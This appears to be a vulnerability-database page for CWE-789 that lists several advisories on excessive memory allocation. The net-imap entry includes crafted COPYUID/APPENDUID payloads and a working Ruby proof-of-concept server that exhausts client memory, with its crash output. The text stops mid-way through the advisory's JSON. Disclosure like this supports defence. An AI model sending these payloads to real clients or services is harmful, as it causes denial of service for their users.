Common Weakness Enumeration
CWE-789
AllowedMemory Allocation with Excessive Size Value
Abstraction: Variant · Status: Draft
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
321 vulnerabilities reference this CWE, most recent first.
GHSA-6VPC-P46X-XMF7
Vulnerability from github – Published: 2026-05-16 18:31 – Updated: 2026-05-16 18:31
VLAI
Details
Sticky Notes & Color Widgets 1.4.2 contains a denial of service vulnerability that allows attackers to crash the application by creating notes with excessively long character strings. Attackers can paste large payloads of repeated characters into note fields to trigger application crashes and make the application stop responding.
Severity
{
"affected": [],
"aliases": [
"CVE-2021-47972"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-16T16:16:22Z",
"severity": "HIGH"
},
"details": "Sticky Notes \u0026 Color Widgets 1.4.2 contains a denial of service vulnerability that allows attackers to crash the application by creating notes with excessively long character strings. Attackers can paste large payloads of repeated characters into note fields to trigger application crashes and make the application stop responding.",
"id": "GHSA-6vpc-p46x-xmf7",
"modified": "2026-05-16T18:31:38Z",
"published": "2026-05-16T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47972"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49957"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/sticky-notes-color-widgets-denial-of-service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6VQP-H455-42MR
Vulnerability from github – Published: 2021-05-13 22:30 – Updated: 2021-10-21 17:32
VLAI
Summary
Uncontrolled Memory Allocation in Apache PDFBox
Details
A carefully crafted PDF file can trigger an OutOfMemory-Exception while loading the file. This issue affects Apache PDFBox version 2.0.22 and prior 2.0.x versions.
Severity
5.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.pdfbox:pdfbox"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-27906"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-22T18:36:26Z",
"nvd_published_at": "2021-03-19T16:15:00Z",
"severity": "MODERATE"
},
"details": "A carefully crafted PDF file can trigger an OutOfMemory-Exception while loading the file. This issue affects Apache PDFBox version 2.0.22 and prior 2.0.x versions.",
"id": "GHSA-6vqp-h455-42mr",
"modified": "2021-10-21T17:32:17Z",
"published": "2021-05-13T22:30:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27906"
},
{
"type": "WEB",
"url": "https://github.com/apache/pdfbox/commit/8c47be1011c11dc47300faecffd8ab32fba3646f"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6PT72QOFDXLJ7PLTN66EMG5EHPTE7TFZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6KDA2U4KL2N3XT3PM4ZJEBBA6JJIH2G4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2AVLKAHFMPH72TTP25INPZPGX5FODK3H"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf35026148ccc0e1af133501c0d003d052883fcc65107b3ff5d3b61cd@%3Cusers.pdfbox.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf35026148ccc0e1af133501c0d003d052883fcc65107b3ff5d3b61cd%40%3Cusers.pdfbox.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/re1e35881482e07dc2be6058d9b44483457f36133cac67956686ad9b9@%3Cnotifications.ofbiz.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rdf78aef4793362e778e21e34328b0456e302bde4b7e74f229df0ee04@%3Cannounce.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc69140d894c6a9c67a8097a25656cce59b46a5620c354ceba10543c3@%3Cnotifications.ofbiz.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/raa35746227f3f8d50fff1db9899524423a718f6f35cd39bd4769fa6c@%3Cnotifications.ofbiz.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9ffe179385637b0b5cbdabd0246118005b4b8232909d2d14cd68ccd3@%3Ccommits.ofbiz.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r7ee634c21816c69ce829d0c41f35afa2a53a99bdd3c7cce8644fdc0e@%3Cnotifications.ofbiz.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r6e067a6d83ccb6892d0ff867bd216704f21fb0b6a854dea34be04f12@%3Cnotifications.ofbiz.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r64982b768c8a2220b07aaf813bd099a9863de0d13eb212fd4efe208f@%3Cusers.pdfbox.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r5c8e2125d18af184c80f7a986fbe47eaf0d30457cd450133adc235ac@%3Ccommits.ofbiz.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r54594251369e14c185da9662a5340a52afbbdf75d61c9c3a69c8f2e8@%3Cdev.pdfbox.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4cbc3f6981cd0a1a482531df9d44e4c42a7f63342a7ba78b7bff8a1b@%3Cnotifications.james.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r1d268642f8b52456ee8f876b888b8ed7a9e9568c7770789f3ded7f9e@%3Ccommits.ofbiz.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r1218e60c32829f76943ecaca79237120c2ec1ab266459d711a578b50@%3Cdev.pdfbox.apache.org%3E"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/PDFBOX-5112"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/pdfbox"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/03/19/10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled Memory Allocation in Apache PDFBox"
}
GHSA-7259-VF48-52Q3
Vulnerability from github – Published: 2026-06-30 12:31 – Updated: 2026-06-30 15:30
VLAI
Details
Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ Client, Apache ActiveMQ, Apache ActiveMQ All.
An unauthenticated network attacker can cause a broker DoS by sending a crafted WireFormatInfo frame with a malicious large size value. The value is not validate and causes the broker to attempt allocation during pre-auth negotiation which can trigger OOM and crash the broker. This issue affects Apache ActiveMQ Client: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ All: before 5.19.8, from 6.0.0 before 6.2.7.
Users are recommended to upgrade to version 6.2.7 or 5.19.8, which fixes the issue.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-50734"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T11:16:29Z",
"severity": "HIGH"
},
"details": "Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ Client, Apache ActiveMQ, Apache ActiveMQ All.\n\nAn unauthenticated network attacker can cause a broker DoS by sending a crafted WireFormatInfo frame with a malicious large size value. The value is not validate and causes the broker to attempt allocation during pre-auth negotiation which can trigger OOM and crash the broker.\nThis issue affects Apache ActiveMQ Client: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ All: before 5.19.8, from 6.0.0 before 6.2.7.\n\nUsers are recommended to upgrade to version 6.2.7 or 5.19.8, which fixes the issue.",
"id": "GHSA-7259-vf48-52q3",
"modified": "2026-06-30T15:30:44Z",
"published": "2026-06-30T12:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50734"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/nxso951fnvf72qf9m475mpz4yf931xk0"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/06/29/10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-773Q-5334-5GF9
Vulnerability from github – Published: 2021-08-25 20:55 – Updated: 2021-08-18 21:38
VLAI
Summary
Memory over-allocation in evm-core
Details
Prior to the patch, when executing specific EVM opcodes related
to memory operations that use evm_core::Memory::copy_large, the
crate can over-allocate memory when it is not needed, making it
possible for an attacker to perform denial-of-service attack.
The flaw was corrected in commit 19ade85.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "evm-core"
},
"ranges": [
{
"events": [
{
"introduced": "0.26.0"
},
{
"fixed": "0.26.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "evm-core"
},
"ranges": [
{
"events": [
{
"introduced": "0.25.0"
},
{
"fixed": "0.25.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "evm-core"
},
"ranges": [
{
"events": [
{
"introduced": "0.24.0"
},
{
"fixed": "0.24.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "evm-core"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "evm-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-18T21:38:27Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Prior to the patch, when executing specific EVM opcodes related\nto memory operations that use `evm_core::Memory::copy_large`, the\ncrate can over-allocate memory when it is not needed, making it\npossible for an attacker to perform denial-of-service attack.\n\nThe flaw was corrected in commit `19ade85`.\n",
"id": "GHSA-773q-5334-5gf9",
"modified": "2021-08-18T21:38:27Z",
"published": "2021-08-25T20:55:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rust-blockchain/evm/commit/19ade85"
},
{
"type": "PACKAGE",
"url": "https://github.com/rust-blockchain/evm"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2021-0066.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Memory over-allocation in evm-core"
}
GHSA-7867-7X9C-9GR2
Vulnerability from github – Published: 2024-08-14 18:32 – Updated: 2025-11-04 18:31
VLAI
Details
IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.1 and 11.5 could allow an authenticated user to cause a denial of service with a specially crafted query due to improper memory allocation. IBM X-Force ID: 294295.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-37529"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-14T18:15:12Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.1 and 11.5 could allow an authenticated user to cause a denial of service with a specially crafted query due to improper memory allocation. IBM X-Force ID: 294295.",
"id": "GHSA-7867-7x9c-9gr2",
"modified": "2025-11-04T18:31:18Z",
"published": "2024-08-14T18:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37529"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/292639"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240912-0003"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7165342"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7F68-83RR-FCWW
Vulnerability from github – Published: 2026-04-27 00:30 – Updated: 2026-04-27 00:30
VLAI
Details
jiNa OCR Image to Text 1.0 contains a denial of service vulnerability that allows local attackers to crash the application by processing a malformed PNG file. Attackers can create a specially crafted PNG file with an oversized buffer and trigger the crash when the application attempts to convert the file to PDF.
Severity
6.2 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-25279"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-26T22:17:28Z",
"severity": "MODERATE"
},
"details": "jiNa OCR Image to Text 1.0 contains a denial of service vulnerability that allows local attackers to crash the application by processing a malformed PNG file. Attackers can create a specially crafted PNG file with an oversized buffer and trigger the crash when the application attempts to convert the file to PDF.",
"id": "GHSA-7f68-83rr-fcww",
"modified": "2026-04-27T00:30:26Z",
"published": "2026-04-27T00:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25279"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45380"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/jina-ocr-image-to-text-denial-of-service-via-png"
},
{
"type": "WEB",
"url": "http://www.convertimagetotext.net/downloadsoftware.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7FC5-F82F-CX69
Vulnerability from github – Published: 2025-02-10 17:42 – Updated: 2025-04-30 20:43
VLAI
Summary
Possible DoS by memory exhaustion in net-imap
Details
Summary
There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.
Details
IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.
The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.
Malicious inputs:
# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"
# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than
# UINT32_MAX can be created. For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
Simple way to test this:
require "net/imap"
def test(size)
input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
parser = Net::IMAP::ResponseParser.new
parser.parse input
end
test(99_999_999)
Fixes
Preferred Fix, minor API changes
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false
This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.
For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).
Mitigation, backward compatible API
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.
Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.
For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).
Please Note: unhandled responses
If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:
ruby
limit = 1000
imap.add_response_handler do |resp|
next unless resp.respond_to?(:name) && resp.respond_to?(:data)
name = resp.name
code = resp.data.code&.name if resp.data.respond_to?(:code)
if Net::IMAP::VERSION > "0.4.0"
imap.responses(name) { _1.slice!(0...-limit) }
imap.responses(code) { _1.slice!(0...-limit) }
else
imap.responses(name).slice!(0...-limit)
imap.responses(code).slice!(0...-limit)
end
end
Proof of concept
Save the following to a ruby file (e.g: poc.rb) and make it executable:
#!/usr/bin/env ruby
require 'socket'
require 'net/imap'
if !defined?(Net::IMAP.config)
puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
def server_addr
Addrinfo.tcp("localhost", 0).ip_address
end
def create_tcp_server
TCPServer.new(server_addr, 0)
end
def start_server
th = Thread.new do
yield
end
sleep 0.1 until th.stop?
end
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end
server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"
# server
start_server do
sock = server.accept
begin
sock.print "* OK test server\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
malicious_response = appenduid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
malicious_response = copyuid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
sock.print "#{tag} OK CAPABILITY completed\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
sock.print "* BYE If you made it this far, you passed the test!\r\n"
sock.print "#{tag} OK LOGOUT completed\r\n"
rescue Exception => ex
puts "Error in server: #{ex.message} (#{ex.class})"
ensure
sock.close
server.close
end
end
# client
begin
puts "Client connecting,.."
imap = Net::IMAP.new(server_addr, port: port)
puts "Received capabilities: #{imap.capability}"
pp responses: imap.responses
imap.logout
rescue Exception => ex
puts "Error in client: #{ex.message} (#{ex.class})"
puts ex.full_message
ensure
imap.disconnect if imap
end
Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:
$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
from /workspace/poc.rb:70:in '<main>'
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.2"
},
{
"fixed": "0.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25186"
],
"database_specific": {
"cwe_ids": [
"CWE-1287",
"CWE-400",
"CWE-405",
"CWE-409",
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-10T17:42:43Z",
"nvd_published_at": "2025-02-10T16:15:39Z",
"severity": "MODERATE"
},
"details": "### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`\u0027s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client\u0027s receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP\u0027s `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn\u0027t validated. Arrays larger than\n# UINT32_MAX can be created. For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n parser = Net::IMAP::ResponseParser.new\n parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers). Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference. Code that does handle these responses _may_ need to be updated. See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false` _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. _This is not significantly different from connecting to a trusted server with a long-lived connection._ To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n ```ruby\n limit = 1000\n imap.add_response_handler do |resp|\n next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n name = resp.name\n code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n if Net::IMAP::VERSION \u003e \"0.4.0\"\n imap.responses(name) { _1.slice!(0...-limit) }\n imap.responses(code) { _1.slice!(0...-limit) }\n else\n imap.responses(name).slice!(0...-limit)\n imap.responses(code).slice!(0...-limit)\n end\n end\n ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire \u0027socket\u0027\nrequire \u0027net/imap\u0027\n\nif !defined?(Net::IMAP.config)\n puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n th = Thread.new do\n yield\n end\n sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n sock = server.accept\n begin\n sock.print \"* OK test server\\r\\n\"\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n\n malicious_response = appenduid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n\n malicious_response = copyuid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n sock.print \"* CAPABILITY 